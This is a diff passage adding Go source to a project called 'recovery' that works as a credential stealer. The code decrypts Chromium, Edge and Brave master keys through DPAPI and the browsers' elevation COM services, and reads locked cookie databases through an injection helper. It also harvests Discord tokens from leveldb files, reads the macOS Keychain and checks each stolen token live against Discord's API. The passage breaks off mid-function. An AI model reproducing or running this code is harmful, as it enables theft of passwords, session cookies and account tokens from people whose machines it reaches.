return data[:len(data)-padLen]
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
return nil, fmt.Errorf("DPAPI not available on Linux")
|
||||
}
|
||||
@@ -0,0 +1,372 @@
|
||||
//go:build windows
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
|
||||
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
|
||||
)
|
||||
|
||||
type dataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
var inBlob, outBlob dataBlob
|
||||
inBlob.cbData = uint32(len(in))
|
||||
if len(in) > 0 {
|
||||
inBlob.pbData = &in[0]
|
||||
}
|
||||
|
||||
r, _, err := procCryptUnprotectData.Call(
|
||||
uintptr(unsafe.Pointer(&inBlob)),
|
||||
0, 0, 0, 0, 0,
|
||||
uintptr(unsafe.Pointer(&outBlob)),
|
||||
)
|
||||
if r == 0 {
|
||||
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
|
||||
}
|
||||
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
|
||||
|
||||
out := make([]byte, outBlob.cbData)
|
||||
for i := range out {
|
||||
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
var (
|
||||
clsidChromeElevator = windows.GUID{
|
||||
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
|
||||
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
|
||||
}
|
||||
iidChromeElevatorV2 = windows.GUID{
|
||||
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
||||
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
||||
}
|
||||
iidChromeElevatorV1 = windows.GUID{
|
||||
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
|
||||
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
|
||||
}
|
||||
clsidEdgeElevator = windows.GUID{
|
||||
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
|
||||
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
|
||||
}
|
||||
iidEdgeElevator = windows.GUID{
|
||||
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
|
||||
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
|
||||
}
|
||||
clsidBraveElevator = windows.GUID{
|
||||
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
|
||||
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
|
||||
}
|
||||
iidBraveElevatorV2 = windows.GUID{
|
||||
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
|
||||
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
|
||||
}
|
||||
iidBraveElevatorV1 = windows.GUID{
|
||||
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
|
||||
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
|
||||
}
|
||||
)
|
||||
|
||||
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("COM panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return tryV20KeyViaCOM(cfg, encBlob)
|
||||
}
|
||||
|
||||
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
|
||||
hr := coInitializeEx()
|
||||
if hr != 0 {
|
||||
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
|
||||
}
|
||||
defer coUninitialize()
|
||||
|
||||
clsid := clsidChromeElevator
|
||||
iid := iidChromeElevatorV2
|
||||
if cfg.Name == "Edge" {
|
||||
clsid = clsidEdgeElevator
|
||||
iid = iidEdgeElevator
|
||||
} else if cfg.Name == "Brave" {
|
||||
clsid = clsidBraveElevator
|
||||
iid = iidBraveElevatorV2
|
||||
}
|
||||
|
||||
var unknown *IUnknown
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
if hr != 0 && cfg.Name == "Chrome" {
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
}
|
||||
if hr != 0 && cfg.Name == "Brave" {
|
||||
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
|
||||
}
|
||||
if hr != 0 {
|
||||
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
|
||||
}
|
||||
defer unknown.Release()
|
||||
|
||||
hr = coSetProxyBlanket(unknown)
|
||||
if hr != 0 {
|
||||
logf("CoSetProxyBlanket warning: 0x%08x", hr)
|
||||
}
|
||||
|
||||
bstrCipher := sysAllocStringByteLen(encBlob)
|
||||
if bstrCipher == nil {
|
||||
return nil, fmt.Errorf("SysAllocStringByteLen failed")
|
||||
}
|
||||
defer sysFreeString(bstrCipher)
|
||||
|
||||
var bstrPlain *uint16
|
||||
var lastErr uint32
|
||||
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
|
||||
if hr != 0 || bstrPlain == nil {
|
||||
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
|
||||
}
|
||||
defer sysFreeString(bstrPlain)
|
||||
|
||||
keyLen := sysStringByteLen(bstrPlain)
|
||||
if keyLen < 32 {
|
||||
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
|
||||
}
|
||||
|
||||
result := make([]byte, 32)
|
||||
for i := 0; i < 32; i++ {
|
||||
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func coInitializeEx() uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func coUninitialize() {
|
||||
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
|
||||
}
|
||||
|
||||
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
|
||||
uintptr(unsafe.Pointer(clsid)),
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
uintptr(clsCtx),
|
||||
uintptr(unsafe.Pointer(iid)),
|
||||
uintptr(unsafe.Pointer(ppv)),
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func coSetProxyBlanket(unknown *IUnknown) uint32 {
|
||||
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
0xFFFFFFFF, 0xFFFFFFFF, 0,
|
||||
6, 4, 0, 0x400,
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func sysAllocStringByteLen(b []byte) *uint16 {
|
||||
if len(b) == 0 {
|
||||
return nil
|
||||
}
|
||||
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(len(b)),
|
||||
)
|
||||
return (*uint16)(unsafe.Pointer(r))
|
||||
}
|
||||
|
||||
func sysFreeString(s *uint16) {
|
||||
if s != nil {
|
||||
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
|
||||
}
|
||||
}
|
||||
|
||||
func sysStringByteLen(s *uint16) int {
|
||||
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
|
||||
return int(r)
|
||||
}
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *iUnknownVtbl
|
||||
}
|
||||
|
||||
type iUnknownVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
func (u *IUnknown) Release() {
|
||||
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
|
||||
}
|
||||
|
||||
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
|
||||
type elevatorVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
RunRecoveryCRXElevated uintptr
|
||||
EncryptData uintptr
|
||||
DecryptData uintptr
|
||||
}
|
||||
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
|
||||
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
|
||||
uintptr(unsafe.Pointer(unknown)),
|
||||
uintptr(unsafe.Pointer(bstrCipher)),
|
||||
uintptr(unsafe.Pointer(pbstrPlain)),
|
||||
uintptr(unsafe.Pointer(pLastError)),
|
||||
)
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
keys := &types.ResolvedKeys{}
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read Local State: %w", err)
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
return nil, fmt.Errorf("parse Local State: %w", err)
|
||||
}
|
||||
|
||||
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
|
||||
if osCrypt == nil {
|
||||
return nil, fmt.Errorf("no os_crypt section in Local State")
|
||||
}
|
||||
|
||||
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(encKey)
|
||||
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
|
||||
v10Key, err := CryptUnprotectData(decoded[5:])
|
||||
if err == nil {
|
||||
keys.V10 = v10Key
|
||||
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
|
||||
} else {
|
||||
logf("V10 DPAPI failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
|
||||
if err == nil && len(decoded) > 4 {
|
||||
encBlob := decoded[4:]
|
||||
|
||||
var v20Key []byte
|
||||
if platform.ActivePipeSession == nil {
|
||||
err = fmt.Errorf("no active pipe session")
|
||||
} else {
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
|
||||
}
|
||||
if err != nil {
|
||||
if platform.ActivePipeSession == nil {
|
||||
if cfg.Name != "Chrome" {
|
||||
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
|
||||
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
|
||||
} else {
|
||||
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
|
||||
err = fmt.Errorf("Chrome V20 requires browser session")
|
||||
}
|
||||
} else {
|
||||
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
|
||||
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
|
||||
if err != nil {
|
||||
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err == nil {
|
||||
keys.V20 = v20Key
|
||||
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
|
||||
} else {
|
||||
logf("V20 key unavailable for %s: %v", cfg.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if keys.V10 == nil && keys.V20 == nil {
|
||||
return nil, fmt.Errorf("could not resolve any master key")
|
||||
}
|
||||
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var key []byte
|
||||
if len(encrypted) >= 3 {
|
||||
switch string(encrypted[:3]) {
|
||||
case "v10", "v11":
|
||||
key = v10Key
|
||||
case "v20":
|
||||
key = v20Key
|
||||
}
|
||||
}
|
||||
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
if len(encrypted) < 3+12+16 {
|
||||
return ""
|
||||
}
|
||||
|
||||
nonce := encrypted[3:15]
|
||||
tag := encrypted[len(encrypted)-16:]
|
||||
ciphertext := encrypted[15 : len(encrypted)-16]
|
||||
|
||||
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ctWithTag := make([]byte, len(ciphertext)+len(tag))
|
||||
copy(ctWithTag, ciphertext)
|
||||
copy(ctWithTag[len(ciphertext):], tag)
|
||||
return aesGCM.Open(nil, nonce, ctWithTag, nil)
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package crypto
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[crypto] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
func TestOpenDatabaseReadsLiveWAL(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
dbPath := filepath.Join(dir, "Cookies")
|
||||
|
||||
live, err := sql.Open("sqlite3", dbPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
live.SetMaxOpenConns(1)
|
||||
defer live.Close()
|
||||
if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
d, err := OpenDatabase(dbPath, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("OpenDatabase: %v", err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
var n int
|
||||
if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil {
|
||||
t.Fatalf("query: %v", err)
|
||||
}
|
||||
if n != 1 {
|
||||
t.Fatalf("expected 1 cookie row, got %d", n)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/platform"
|
||||
|
||||
sqlite3 "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) {
|
||||
cleanPath := dbPath
|
||||
if i := strings.IndexByte(dbPath, '?'); i >= 0 {
|
||||
cleanPath = dbPath[:i]
|
||||
}
|
||||
|
||||
hasWAL := false
|
||||
if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 {
|
||||
hasWAL = true
|
||||
}
|
||||
|
||||
if !hasWAL {
|
||||
uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath)
|
||||
if db, err := sql.Open("sqlite3", uri); err == nil {
|
||||
if err := db.Ping(); err == nil {
|
||||
logf("opened %s via immutable snapshot", dbPath)
|
||||
return db, nil
|
||||
}
|
||||
db.Close()
|
||||
}
|
||||
}
|
||||
|
||||
if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil {
|
||||
logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot))
|
||||
return OpenDatabaseFromBytes(snapshot)
|
||||
} else {
|
||||
logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr)
|
||||
}
|
||||
|
||||
data, err := platform.ReadLockedFile(cleanPath, pids)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open %s: %w", dbPath, err)
|
||||
}
|
||||
logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data))
|
||||
return OpenDatabaseFromBytes(data)
|
||||
}
|
||||
|
||||
func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) {
|
||||
tmp, err := os.MkdirTemp("", "kematian_db_*")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer os.RemoveAll(tmp)
|
||||
|
||||
clonePath := filepath.Join(tmp, filepath.Base(dbPath))
|
||||
|
||||
mainData, err := platform.ReadLockedFile(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(clonePath, mainData, 0600); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, suffix := range []string{"-wal", "-journal"} {
|
||||
src := dbPath + suffix
|
||||
if info, err := os.Stat(src); err == nil && info.Size() > 0 {
|
||||
if data, err := platform.ReadLockedFile(src, pids); err == nil {
|
||||
if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
d, err := sql.Open("sqlite3", clonePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
d.SetMaxOpenConns(1)
|
||||
if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil {
|
||||
d.Close()
|
||||
return nil, err
|
||||
}
|
||||
d.Close()
|
||||
|
||||
return os.ReadFile(clonePath)
|
||||
}
|
||||
|
||||
func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) {
|
||||
db, err := sql.Open("sqlite3", ":memory:")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
db.SetMaxOpenConns(1)
|
||||
|
||||
conn, err := db.Conn(context.Background())
|
||||
if err != nil {
|
||||
db.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = conn.Raw(func(driverConn interface{}) error {
|
||||
sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn)
|
||||
if !ok {
|
||||
return fmt.Errorf("not a sqlite3 connection")
|
||||
}
|
||||
return sqliteConn.Deserialize(data, "main")
|
||||
})
|
||||
conn.Close()
|
||||
|
||||
if err != nil {
|
||||
db.Close()
|
||||
return nil, fmt.Errorf("deserialize: %w", err)
|
||||
}
|
||||
return db, nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package db
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[db] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package discord
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`)
|
||||
var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`)
|
||||
var HTTPClient = &http.Client{Timeout: 8 * time.Second}
|
||||
|
||||
type DiscordApp struct {
|
||||
Name string
|
||||
Dir string
|
||||
}
|
||||
|
||||
func CheckToken(token string) bool {
|
||||
req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
req.Header.Set("Authorization", token)
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
|
||||
resp, err := HTTPClient.Do(req)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
resp.Body.Close()
|
||||
return resp.StatusCode == 200
|
||||
}
|
||||
|
||||
type TokenResult = types.DiscordTokenResult
|
||||
@@ -0,0 +1,184 @@
|
||||
//go:build !windows
|
||||
|
||||
package discord
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/platform"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
func discordConfigDir() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
xdg := os.Getenv("XDG_CONFIG_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
}
|
||||
|
||||
func discordV10Key(appDir string) []byte {
|
||||
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
|
||||
if err != nil {
|
||||
if runtime.GOOS == "linux" {
|
||||
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
|
||||
}
|
||||
if runtime.GOOS == "darwin" {
|
||||
return darwinDiscordKey()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
var state map[string]interface{}
|
||||
if err := json.Unmarshal(data, &state); err != nil {
|
||||
return nil
|
||||
}
|
||||
osCrypt, _ := state["os_crypt"].(map[string]interface{})
|
||||
if osCrypt == nil {
|
||||
return nil
|
||||
}
|
||||
encKeyB64, _ := osCrypt["encrypted_key"].(string)
|
||||
_ = encKeyB64
|
||||
|
||||
if runtime.GOOS == "linux" {
|
||||
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
|
||||
}
|
||||
if runtime.GOOS == "darwin" {
|
||||
return darwinDiscordKey()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func darwinDiscordKey() []byte {
|
||||
for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} {
|
||||
out, err := exec.Command("security", "find-generic-password", "-wa", service).Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
password := strings.TrimSpace(string(out))
|
||||
if password != "" {
|
||||
return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var discordApps = []DiscordApp{
|
||||
{"Discord", "discord"},
|
||||
{"Discord PTB", "discordptb"},
|
||||
{"Discord Canary", "discordcanary"},
|
||||
{"Discord Dev", "discorddevelopment"},
|
||||
}
|
||||
|
||||
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
|
||||
return platform.ReadLockedFile(path, pids)
|
||||
}
|
||||
|
||||
func ExtractTokens() []TokenResult {
|
||||
configDir := discordConfigDir()
|
||||
|
||||
type candidate struct {
|
||||
token string
|
||||
source string
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{})
|
||||
var candidates []candidate
|
||||
|
||||
for _, app := range discordApps {
|
||||
appDir := filepath.Join(configDir, app.Dir)
|
||||
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
|
||||
|
||||
entries, err := os.ReadDir(leveldb)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
pids, _ := platform.FindProcesses(app.Dir)
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||
if ext != ".log" && ext != ".ldb" {
|
||||
continue
|
||||
}
|
||||
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, m := range TokenRe.FindAll(data, -1) {
|
||||
tok := string(m)
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
|
||||
for _, m := range EncRe.FindAll(data, -1) {
|
||||
raw := string(m)
|
||||
colonIdx := strings.Index(raw, ":")
|
||||
if colonIdx < 0 {
|
||||
continue
|
||||
}
|
||||
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
key := discordV10Key(appDir)
|
||||
if key == nil {
|
||||
continue
|
||||
}
|
||||
tok := crypto.DecryptChromiumBlob(blob, key, nil)
|
||||
if tok == "" || !TokenRe.MatchString(tok) {
|
||||
continue
|
||||
}
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(candidates) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
valid := make([]bool, len(candidates))
|
||||
var wg sync.WaitGroup
|
||||
sem := make(chan struct{}, 6)
|
||||
for i, c := range candidates {
|
||||
wg.Add(1)
|
||||
go func(idx int, tok string) {
|
||||
defer wg.Done()
|
||||
sem <- struct{}{}
|
||||
valid[idx] = CheckToken(tok)
|
||||
<-sem
|
||||
}(i, c.token)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
var out []TokenResult
|
||||
for i, c := range candidates {
|
||||
if valid[i] {
|
||||
out = append(out, TokenResult{Token: c.token, Source: c.source})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
//go:build windows
|
||||
|
||||
package discord
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/platform"
|
||||
)
|
||||
|
||||
var discordApps = []DiscordApp{
|
||||
{"Discord", "discord"},
|
||||
{"Discord PTB", "discordptb"},
|
||||
{"Discord Canary", "discordcanary"},
|
||||
{"Discord Dev", "discorddevelopment"},
|
||||
}
|
||||
|
||||
func discordV10Key(appDir string) []byte {
|
||||
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var state map[string]interface{}
|
||||
if err := json.Unmarshal(data, &state); err != nil {
|
||||
return nil
|
||||
}
|
||||
osCrypt, _ := state["os_crypt"].(map[string]interface{})
|
||||
if osCrypt == nil {
|
||||
return nil
|
||||
}
|
||||
encKeyB64, _ := osCrypt["encrypted_key"].(string)
|
||||
if encKeyB64 == "" {
|
||||
return nil
|
||||
}
|
||||
encKey, err := base64.StdEncoding.DecodeString(encKeyB64)
|
||||
if err != nil || len(encKey) <= 5 {
|
||||
return nil
|
||||
}
|
||||
key, err := crypto.CryptUnprotectData(encKey[5:])
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return key
|
||||
}
|
||||
|
||||
var discordExeNames = map[string]string{
|
||||
"discord": "Discord.exe",
|
||||
"discordptb": "DiscordPTB.exe",
|
||||
"discordcanary": "DiscordCanary.exe",
|
||||
"discorddevelopment": "DiscordDevelopment.exe",
|
||||
}
|
||||
|
||||
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
|
||||
return platform.ReadLockedFile(path, pids)
|
||||
}
|
||||
|
||||
func ExtractTokens() []TokenResult {
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
type candidate struct {
|
||||
token string
|
||||
source string
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{})
|
||||
var candidates []candidate
|
||||
|
||||
for _, app := range discordApps {
|
||||
appDir := filepath.Join(appdata, app.Dir)
|
||||
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
|
||||
|
